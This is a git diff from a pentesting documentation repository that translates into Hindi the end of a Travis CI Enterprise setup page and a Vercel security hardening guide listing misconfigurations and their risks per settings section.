+3. आपकी सेटअप के आधार पर, आप कुछ घटकों को स्वयं तैनात और कॉन्फ़िगर करना चाह सकते हैं, जैसे कि RabbitMQ - अधिक विवरण के लिए [Travis CI Enterprise सेटअप करना](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) देखें।
-**TCI Worker requires the following:**
+**TCI कार्यकर्ता के लिए निम्नलिखित की आवश्यकता होती है:**
-1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
-2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
+1. एक बुनियादी ढांचा जहाँ एक डॉकर छवि जिसमें **कार्यकर्ता और एक लिंक की गई निर्माण छवि तैनात की जा सके**।
+2. कुछ Travis CI कोर सेवाओं के घटकों से कनेक्टिविटी - अधिक विवरण के लिए [कार्यकर्ता सेटअप करना](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) देखें।
-The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
+तैनात किए गए TCI कार्यकर्ता और निर्माण वातावरण OS छवियों की मात्रा आपके बुनियादी ढांचे में Travis CI Enterprise तैनाती की कुल समवर्ती क्षमता को निर्धारित करेगी।
.png>)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index 16dc93da7..25ee635c9 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -4,160 +4,157 @@
## Basic Information
-In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
+Vercel में एक **Team** वह पूरी **environment** है जो एक ग्राहक से संबंधित है और एक **project** एक **application** है।
-For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
+**Vercel** की हार्डनिंग समीक्षा के लिए, आपको **Viewer role permission** वाले उपयोगकर्ता के लिए पूछना होगा या कम से कम **Project viewer permission over the projects** की आवश्यकता होगी (यदि आपको केवल प्रोजेक्ट की जांच करनी है और टीम कॉन्फ़िगरेशन की नहीं)।
## Project Settings
### General
-**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
+**Purpose:** प्रोजेक्ट नाम, फ्रेमवर्क, और बिल्ड कॉन्फ़िगरेशन जैसे मौलिक प्रोजेक्ट सेटिंग्स का प्रबंधन करें।
#### Security Configurations:
- **Transfer**
- - **Misconfiguration:** Allows to transfer the project to another team
- - **Risk:** An attacker could steal the project
+- **Misconfiguration:** प्रोजेक्ट को दूसरे टीम में स्थानांतरित करने की अनुमति देता है
+- **Risk:** एक हमलावर प्रोजेक्ट चुरा सकता है
- **Delete Project**
- - **Misconfiguration:** Allows to delete the project
- - **Risk:** Delete the prject
+- **Misconfiguration:** प्रोजेक्ट को हटाने की अनुमति देता है
+- **Risk:** प्रोजेक्ट को हटाना
---
### Domains
-**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
+**Purpose:** कस्टम डोमेन, DNS सेटिंग्स, और SSL कॉन्फ़िगरेशन का प्रबंधन करें।
#### Security Configurations:
- **DNS Configuration Errors**
- - **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
- - **Risk:** Domain hijacking, traffic interception, and phishing attacks.
+- **Misconfiguration:** गलत DNS रिकॉर्ड (A, CNAME) जो दुर्भावनापूर्ण सर्वरों की ओर इशारा करते हैं।
+- **Risk:** डोमेन हाईजैकिंग, ट्रैफ़िक इंटरसेप्शन, और फ़िशिंग हमले।
- **SSL/TLS Certificate Management**
- - **Misconfiguration:** Using weak or expired SSL/TLS certificates.
- - **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
+- **Misconfiguration:** कमजोर या समाप्त SSL/TLS प्रमाणपत्रों का उपयोग करना।
+- **Risk:** मैन-इन-द-मिडल (MITM) हमलों के प्रति संवेदनशील, डेटा की अखंडता और गोपनीयता को खतरे में डालना।
- **DNSSEC Implementation**
- - **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
- - **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
+- **Misconfiguration:** DNSSEC को सक्षम करने में विफलता या गलत DNSSEC सेटिंग्स।
+- **Risk:** DNS स्पूफिंग और कैश पॉइज़निंग हमलों के प्रति बढ़ी हुई संवेदनशीलता।
- **Environment used per domain**
- - **Misconfiguration:** Change the environment used by the domain in production.
- - **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
+- **Misconfiguration:** प्रोडक्शन में डोमेन द्वारा उपयोग किए जाने वाले वातावरण को बदलना।
+- **Risk:** संभावित रहस्यों या कार्यक्षमताओं को उजागर करना जो प्रोडक्शन में उपलब्ध नहीं होनी चाहिए।
---
### Environments
-**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
+**Purpose:** विशिष्ट सेटिंग्स और वेरिएबल्स के साथ विभिन्न वातावरण (Development, Preview, Production) को परिभाषित करें।
#### Security Configurations:
- **Environment Isolation**
- - **Misconfiguration:** Sharing environment variables across environments.
- - **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
+- **Misconfiguration:** वातावरणों के बीच वातावरण वेरिएबल साझा करना।
+- **Risk:** विकास या पूर्वावलोकन वातावरण में प्रोडक्शन रहस्यों का लीक होना, जिससे जोखिम बढ़ता है।
- **Access to Sensitive Environments**
- - **Misconfiguration:** Allowing broad access to production environments.
- - **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
+- **Misconfiguration:** प्रोडक्शन वातावरणों तक व्यापक पहुंच की अनुमति देना।
+- **Risk:** लाइव एप्लिकेशन में अनधिकृत परिवर्तन या पहुंच, संभावित डाउनटाइम या डेटा उल्लंघनों की ओर ले जा सकती है।
---
### Environment Variables
-**Purpose:** Manage environment-specific variables and secrets used by the application.
+**Purpose:** एप्लिकेशन द्वारा उपयोग किए जाने वाले वातावरण-विशिष्ट वेरिएबल्स और रहस्यों का प्रबंधन करें।
#### Security Configurations:
- **Exposing Sensitive Variables**
- - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
+- **Misconfiguration:** संवेदनशील वेरिएबल्स को `NEXT_PUBLIC_` के साथ प्रीफिक्स करना, जिससे वे क्लाइंट साइड पर उपलब्ध हो जाते हैं।
+- **Risk:** API कुंजी, डेटाबेस क्रेडेंशियल्स, या अन्य संवेदनशील डेटा का सार्वजनिक रूप से उजागर होना, जिससे डेटा उल्लंघन हो सकता है।
- **Sensitive disabled**
- - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+- **Misconfiguration:** यदि अक्षम (डिफ़ॉल्ट) है तो उत्पन्न रहस्यों के मानों को पढ़ना संभव है।
+- **Risk:** संवेदनशील जानकारी के अनधिकृत पहुंच या आकस्मिक उजागर होने की संभावना बढ़ जाती है।
- **Shared Environment Variables**
- - **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+- **Misconfiguration:** ये टीम स्तर पर सेट किए गए वातावरण वेरिएबल्स हैं और इनमें संवेदनशील जानकारी भी हो सकती है।
+- **Risk:** संवेदनशील जानकारी के अनधिकृत पहुंच या आकस्मिक उजागर होने की संभावना बढ़ जाती है।
---
### Git
-**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
+**Purpose:** Git रिपॉजिटरी इंटीग्रेशन, शाखा सुरक्षा, और डिप्लॉयमेंट ट्रिगर्स को कॉन्फ़िगर करें।
#### Security Configurations:
- **Ignored Build Step (TODO)**
- - **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
- - **Risk:** TBD
+- **Misconfiguration:** ऐसा लगता है कि यह विकल्प एक बैश स्क्रिप्ट/कमांड को कॉन्फ़िगर करने की अनुमति देता है जो तब निष्पादित होगा जब एक नया कमिट Github में पुश किया जाएगा, जो RCE की अनुमति दे सकता है।
+- **Risk:** TBD
---
### Integrations
-**Purpose:** Connect third-party services and tools to enhance project functionalities.
+**Purpose:** तीसरे पक्ष की सेवाओं और उपकरणों को जोड़ें ताकि प्रोजेक्ट कार्यक्षमताओं को बढ़ाया जा सके।
#### Security Configurations:
- **Insecure Third-Party Integrations**
- - **Misconfiguration:** Integrating with untrusted or insecure third-party services.
- - **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
+- **Misconfiguration:** अविश्वसनीय या असुरक्षित तीसरे पक्ष की सेवाओं के साथ एकीकृत करना।
+- **Risk:** कमजोरियों, डेटा लीक, या समझौता किए गए इंटीग्रेशनों के माध्यम से बैकडोर का परिचय।
- **Over-Permissioned Integrations**
- - **Misconfiguration:** Granting excessive permissions to integrated services.
- - **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
+- **Misconfiguration:** एकीकृत सेवाओं को अत्यधिक अनुमतियाँ देना।
+- **Risk:** प्रोजेक्ट संसाधनों तक अनधिकृत पहुंच, डेटा हेरफेर, या सेवा व्यवधान।
- **Lack of Integration Monitoring**
- - **Misconfiguration:** Failing to monitor and audit third-party integrations.
- - **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
+- **Misconfiguration:** तीसरे पक्ष की इंटीग्रेशनों की निगरानी और ऑडिट करने में विफलता।
+- **Risk:** समझौता किए गए इंटीग्रेशनों का विलंबित पता लगाना, सुरक्षा उल्लंघनों के संभावित प्रभाव को बढ़ाना।
---
### Deployment Protection
-**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
+**Purpose:** विभिन्न सुरक्षा तंत्रों के माध्यम से डिप्लॉयमेंट को सुरक्षित करें, यह नियंत्रित करें कि कौन आपके वातावरणों तक पहुंच सकता है और डिप्लॉय कर सकता है।
#### Security Configurations:
**Vercel Authentication**
-- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
-- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
+- **Misconfiguration:** प्रमाणीकरण को अक्षम करना या टीम के सदस्यों की जांच को लागू नहीं करना।
+- **Risk:** अनधिकृत उपयोगकर्ता डिप्लॉयमेंट्स तक पहुंच सकते हैं, जिससे डेटा उल्लंघन या एप्लिकेशन का दुरुपयोग हो सकता है।
**Protection Bypass for Automation**
-- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
-- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
+- **Misconfiguration:** बायपास रहस्य को सार्वजनिक रूप से उजागर करना या कमजोर रहस्यों का उपयोग करना।
+- **Risk:** हमलावर डिप्लॉयमेंट सुरक्षा को बायपास कर सकते हैं, सुरक्षित डिप्लॉयमेंट्स तक पहुंच और हेरफेर कर सकते हैं।
**Shareable Links**
-- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
-- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
+- **Misconfiguration:** लिंक को मनमाने तरीके से साझा करना या पुराने लिंक को रद्द करने में विफलता।
+- **Risk:** सुरक्षित डिप्लॉयमेंट्स तक अनधिकृत पहुंच, प्रमाणीकरण और IP प्रतिबंधों को बायपास करना।
**OPTIONS Allowlist**
-- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
-- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
+- **Misconfiguration:** अत्यधिक व्यापक पथों या संवेदनशील एंडपॉइंट्स को अनुमति सूची में शामिल करना।
+- **Risk:** हमलावर अनसुरक्षित पथों का लाभ उठा सकते हैं ताकि अनधिकृत क्रियाएँ की जा सकें या सुरक्षा जांचों को बायपास किया जा सके।
**Password Protection**
-- **Misconfiguration:** Using weak passwords or sharing them insecurely.
-- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
-- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
+- **Misconfiguration:** कमजोर पासवर्ड का उपयोग करना या उन्हें असुरक्षित रूप से साझा करना।
+- **Risk:** यदि पासवर्ड का अनुमान लगाया गया या लीक किया गया तो डिप्लॉयमेंट्स तक अनधिकृत पहुंच।
**Deployment Protection Exceptions**
-- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
-- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
-- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
+- **Misconfiguration:** उत्पादन या संवेदनशील डोमेन को अपवाद सूची में अनजाने में जोड़ना।
+- **Risk:** महत्वपूर्ण डिप्लॉयमेंट्स को सार्वजनिक रूप से उजागर करना, जिससे डेटा लीक या अनधिकृत पहुंच हो सकती है।
**Trusted IPs**
-- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
-- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
-- **Note:** Available on the **Enterprise** plan.
+- **Misconfiguration:** IP पते या CIDR रेंज को गलत तरीके से निर्दिष्ट करना।
+- **Risk:** वैध उपयोगकर्ताओं को अवरुद्ध करना या अनधिकृत IPs को पहुंच प्राप्त करना।
---
### Functions
-**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
+**Purpose:** सर्वरलेस फ़ंक्शंस को कॉन्फ़िगर करें, जिसमें रनटाइम सेटिंग्स, मेमोरी आवंटन, और सुरक्षा नीतियाँ शामिल हैं।
#### Security Configurations:
@@ -167,31 +164,31 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
### Data Cache
-**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
+**Purpose:** प्रदर्शन को अनुकूलित करने और डेटा संग्रहण को नियंत्रित करने के लिए कैशिंग रणनीतियों और सेटिंग्स का प्रबंधन करें।
#### Security Configurations:
- **Purge Cache**
- - **Misconfiguration:** It allows to delete all the cache.
- - **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
+- **Misconfiguration:** यह सभी कैश को हटाने की अनुमति देता है।
+- **Risk:** अनधिकृत उपयोगकर्ता कैश को हटाने के कारण संभावित DoS।
---
### Cron Jobs
-**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
+**Purpose:** निर्दिष्ट अंतराल पर स्वचालित कार्यों और स्क्रिप्टों को शेड्यूल करें।
#### Security Configurations:
- **Disable Cron Job**
- - **Misconfiguration:** It allows to disable cron jobs declared inside the code
- - **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
+- **Misconfiguration:** यह कोड के अंदर घोषित क्रोन नौकरियों को अक्षम करने की अनुमति देता है।
+- **Risk:** सेवा में संभावित विघटन (इस पर निर्भर करता है कि क्रोन नौकरियों का क्या मतलब था)
---
### Log Drains
-**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
+**Purpose:** निगरानी और ऑडिटिंग के लिए एप्लिकेशन लॉग कैप्चर और स्टोर करने के लिए बाहरी लॉगिंग सेवाओं को कॉन्फ़िगर करें।
#### Security Configurations:
@@ -201,47 +198,47 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
### Security
-**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
+**Purpose:** प्रोजेक्ट एक्सेस, स्रोत सुरक्षा, और अधिक को प्रभावित करने वाली विभिन्न सुरक्षा-संबंधित सेटिंग्स के लिए केंद्रीय हब।
#### Security Configurations:
**Build Logs and Source Protection**
-- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
-- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
+- **Misconfiguration:** सुरक्षा को अक्षम करना या `/logs` और `/src` पथों को सार्वजनिक रूप से उजागर करना।
+- **Risk:** निर्माण लॉग और स्रोत कोड तक अनधिकृत पहुंच, जानकारी लीक और संभावित कमजोरियों का शोषण।
**Git Fork Protection**
-- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
-- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
+- **Misconfiguration:** उचित समीक्षाओं के बिना अनधिकृत पुल अनुरोधों की अनुमति देना।
+- **Risk:** दुर्भावनापूर्ण कोड को कोडबेस में विलय किया जा सकता है, जिससे कमजोरियाँ या बैकडोर का परिचय होता है।
**Secure Backend Access with OIDC Federation**
-- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
-- **Risk:** Unauthorized access to backend services through flawed authentication flows.
+- **Misconfiguration:** OIDC पैरामीटर को गलत तरीके से सेट करना या असुरक्षित जारीकर्ता URL का उपयोग करना।
+- **Risk:** दोषपूर्ण प्रमाणीकरण प्रवाह के माध्यम से बैकएंड सेवाओं तक अनधिकृत पहुंच।
**Deployment Retention Policy**
-- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
-- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
+- **Misconfiguration:** बहुत छोटे (डिप्लॉयमेंट इतिहास खोना) या बहुत लंबे (अनावश्यक डेटा रखरखाव) रखरखाव अवधि सेट करना।
+- **Risk:** जब आवश्यकता हो तो रोलबैक करने में असमर्थता या पुराने डिप्लॉयमेंट से डेटा के उजागर होने का बढ़ा हुआ जोखिम।
**Recently Deleted Deployments**
-- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
-- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
+- **Misconfiguration:** हटाए गए डिप्लॉयमेंट की निगरानी नहीं करना या स्वचालित हटाने पर पूरी तरह से निर्भर रहना।
+- **Risk:** महत्वपूर्ण डिप्लॉयमेंट इतिहास का नुकसान, ऑडिट और रोलबैक में बाधा।
---
### Advanced
-**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
+**Purpose:** कॉन्फ़िगरेशन को ठीक करने और सुरक्षा बढ़ाने के लिए अतिरिक्त प्रोजेक्ट सेटिंग्स तक पहुंच।
#### Security Configurations:
**Directory Listing**
-- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
-- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
+- **Misconfiguration:** डायरेक्टरी लिस्टिंग सक्षम करना उपयोगकर्ताओं को बिना इंडेक्स फ़ाइल के डायरेक्टरी सामग्री देखने की अनुमति देता है।
+- **Risk:** संवेदनशील फ़ाइलों, एप्लिकेशन संरचना, और हमलों के लिए संभावित प्रवेश बिंदुओं का उजागर होना।
---
@@ -253,13 +250,13 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
**Enable Attack Challenge Mode**
-- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
-- **Risk:** Potential user experience problems.
+- **Misconfiguration:** इसे सक्षम करना वेब एप्लिकेशन की DoS के खिलाफ रक्षा को सुधारता है लेकिन उपयोगिता की कीमत पर
+- **Risk:** संभावित उपयोगकर्ता अनुभव समस्याएँ।
### Custom Rules & IP Blocking
-- **Misconfiguration:** Allows to unblock/block traffic
-- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
+- **Misconfiguration:** ट्रैफ़िक को अनब्लॉक/ब्लॉक करने की अनुमति देता है
+- **Risk:** संभावित DoS जो दुर्भावनापूर्ण ट्रैफ़िक की अनुमति देता है या बेनिग्न ट्रैफ़िक को ब्लॉक करता है
---
@@ -267,13 +264,13 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
### Source
-- **Misconfiguration:** Allows access to read the complete source code of the application
-- **Risk:** Potential exposure of sensitive information
+- **Misconfiguration:** एप्लिकेशन के पूरे स्रोत कोड को पढ़ने के लिए पहुंच की अनुमति देता है
+- **Risk:** संवेदनशील जानकारी का संभावित उजागर होना
### Skew Protection
-- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
-- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
+- **Misconfiguration:** यह सुरक्षा सुनिश्चित करता है कि क्लाइंट और सर्वर एप्लिकेशन हमेशा एक ही संस्करण का उपयोग कर रहे हैं ताकि कोई असंगति न हो जहाँ क्लाइंट सर्वर से अलग संस्करण का उपयोग करता है और इसलिए वे एक-दूसरे को समझ नहीं पाते।
+- **Risk:** इसे अक्षम करना (यदि सक्षम है) भविष्य में नए डिप्लॉयमेंट में DoS समस्याएँ पैदा कर सकता है
---
@@ -284,11 +281,11 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
#### Security Configurations:
- **Transfer**
- - **Misconfiguration:** Allows to transfer all the projects to another team
- - **Risk:** An attacker could steal the projects
+- **Misconfiguration:** सभी प्रोजेक्ट्स को दूसरे टीम में स्थानांतरित करने की अनुमति देता है
+- **Risk:** एक हमलावर प्रोजेक्ट्स चुरा सकता है
- **Delete Project**
- - **Misconfiguration:** Allows to delete the team with all the projects
- - **Risk:** Delete the projects
+- **Misconfiguration:** सभी प्रोजेक्ट्स के साथ टीम को हटाने की अनुमति देता है
+- **Risk:** प्रोजेक्ट्स को हटाना
---
@@ -297,8 +294,8 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
#### Security Configurations:
- **Speed Insights Cost Limit**
- - **Misconfiguration:** An attacker could increase this number
- - **Risk:** Increased costs
+- **Misconfiguration:** एक हमलावर इस संख्या को बढ़ा सकता है
+- **Risk:** लागत में वृद्धि
---
@@ -307,25 +304,25 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
#### Security Configurations:
- **Add members**
- - **Misconfiguration:** An attacker could maintain persitence inviting an account he control
- - **Risk:** Attacker persistence
+- **Misconfiguration:** एक हमलावर एक ऐसा खाता आमंत्रित करके स्थायीता बनाए रख सकता है जिसे वह नियंत्रित करता है
+- **Risk:** हमलावर की स्थिरता
- **Roles**
- - **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
- - **Risk**: Increate the exposure of the Vercel Team
+- **Misconfiguration:** उन लोगों को बहुत अधिक अनुमतियाँ देना जिन्हें इसकी आवश्यकता नहीं है, Vercel कॉन्फ़िगरेशन के जोखिम को बढ़ाता है। सभी संभावित भूमिकाओं की जांच करें [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
+- **Risk**: Vercel Team की एक्सपोजर बढ़ाना
---
### Access Groups
-An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
+Vercel में एक **Access Group** प्रोजेक्ट्स और टीम के सदस्यों का एक संग्रह है जिसमें पूर्वनिर्धारित भूमिका असाइनमेंट होते हैं, जो कई प्रोजेक्ट्स में केंद्रीकृत और सुव्यवस्थित पहुंच प्रबंधन को सक्षम बनाता है।
**Potential Misconfigurations:**
-- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
-- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
-- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
-- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
-- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
+- **Over-Permissioning Members:** अनावश्यक रूप से अधिक अनुमतियों के साथ भूमिकाएँ असाइन करना, अनधिकृत पहुंच या क्रियाओं की ओर ले जाना।
+- **Improper Role Assignments:** भूमिकाएँ गलत तरीके से असाइन करना जो टीम के सदस्यों की जिम्मेदारियों के साथ मेल नहीं खाती, जिससे विशेषाधिकार वृद्धि होती है।
+- **Lack of Project Segregation:** संवेदनशील प्रोजेक्ट्स को अलग करने में विफलता, जिससे अपेक्षित से अधिक व्यापक पहुंच की अनुमति मिलती है।
+- **Insufficient Group Management:** एक्सेस ग्रुप्स की नियमित समीक्षा या अपडेट नहीं करना, जिससे पुरानी या अनुपयुक्त पहुंच अनुमतियाँ होती हैं।
+- **Inconsistent Role Definitions:** विभिन्न एक्सेस ग्रुप्स में असंगत या अस्पष्ट भूमिका परिभाषाओं का उपयोग करना, जिससे भ्रम और सुरक्षा अंतराल होते हैं।
---
@@ -334,8 +331,8 @@ An **Access Group** in Vercel is a collection of projects and team members with
#### Security Configurations:
- **Log Drains to third parties:**
- - **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
- - **Risk:** Partial persistence
+- **Misconfiguration:** एक हमलावर लॉग चुराने के लिए एक लॉग ड्रेन कॉन्फ़िगर कर सकता है
+- **Risk:** आंशिक स्थिरता
---
@@ -343,99 +340,95 @@ An **Access Group** in Vercel is a collection of projects and team members with
#### Security Configurations:
-- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
- - **Misconfiguration:**
- - Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
- - Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
- - **Risks:**
- - **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
- - **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
-- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
- - **Misconfiguration:** Not adding critical Git scopes to the protected list.
+- **Team Email Domain:** जब कॉन्फ़िगर किया जाता है, तो यह सेटिंग स्वचालित रूप से निर्दिष्ट डोमेन (जैसे, `mydomain.com`) के साथ समाप्त होने वाले ईमेल पते वाले Vercel व्यक्तिगत खातों को आपके टीम में शामिल होने के लिए आमंत्रित करती है।
+- **Misconfiguration:**\
+- गलत ईमेल डोमेन या टीम ईमेल डोमेन सेटिंग में गलत स्पेलिंग निर्दिष्ट करना।
+- एक सामान्य ईमेल डोमेन (जैसे, `gmail.com`, `hotmail.com`) का उपयोग करना बजाय कंपनी-विशिष्ट डोमेन के।
- **Risks:**
- - **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
- - **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
-- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
- - **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
- - **Risks:**
- - **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
- - **Data Breach:** Sensitive information like API keys and credentials could be leaked.
-- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
- - **Misconfiguration:**\
- Granting access to audit logs to unauthorized team members.
- - **Risks:**
- - **Privacy Violations:** Exposure of sensitive user activities and data.
- - **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
-- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
- - **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
- - **Risk:** Maintain persistence
-- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
- - **Misconfiguration:** Leaving IP address visibility enabled without necessity.
- - **Risks:**
- - **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
- - **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
-- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
- - **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
- - **Risks:**
- - **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
- - **Operational Disruptions:** Loss of service availability for certain regions or clients.
+- **Unauthorized Access:** अनपेक्षित डोमेन से ईमेल पते वाले उपयोगकर्ताओं को आपकी टीम में शामिल होने के लिए आमंत्रण मिल सकते हैं।
+- **Data Exposure:** अनधिकृत व्यक्तियों के लिए संवेदनशील प्रोजेक्ट जानकारी का संभावित उजागर होना।
+- **Protected Git Scopes:** आपको अपनी टीम के लिए 5 Git स्कोप जोड़ने की अनुमति देता है ताकि अन्य Vercel टीमों को सुरक्षित स्कोप से रिपॉजिटरी को डिप्लॉय करने से रोका जा सके। कई टीमें एक ही स्कोप निर्दिष्ट कर सकती हैं, जिससे दोनों टीमों को पहुंच मिलती है।
+- **Misconfiguration:** सुरक्षित सूची में महत्वपूर्ण Git स्कोप जोड़ने में विफलता।
+- **Risks:**
+- **Unauthorized Deployments:** अन्य टीमें आपकी संगठन की Git स्कोप से बिना अनुमति के रिपॉजिटरी को डिप्लॉय कर सकती हैं।
+- **Intellectual Property Exposure:** स्वामित्व कोड को आपकी टीम के बाहर डिप्लॉय और एक्सेस किया जा सकता है।
+- **Environment Variable Policies:** टीम के वातावरण वेरिएबल्स के निर्माण और संपादन के लिए नीतियों को लागू करता है। विशेष रूप से, आप यह लागू कर सकते हैं कि सभी वातावरण वेरिएबल्स को **Sensitive Environment Variables** के रूप में बनाया जाए, जिन्हें केवल Vercel के डिप्लॉयमेंट सिस्टम द्वारा डिक्रिप्ट किया जा सकता है।
+- **Misconfiguration:** संवेदनशील वातावरण वेरिएबल्स के प्रवर्तन को अक्षम रखना।
+- **Risks:**
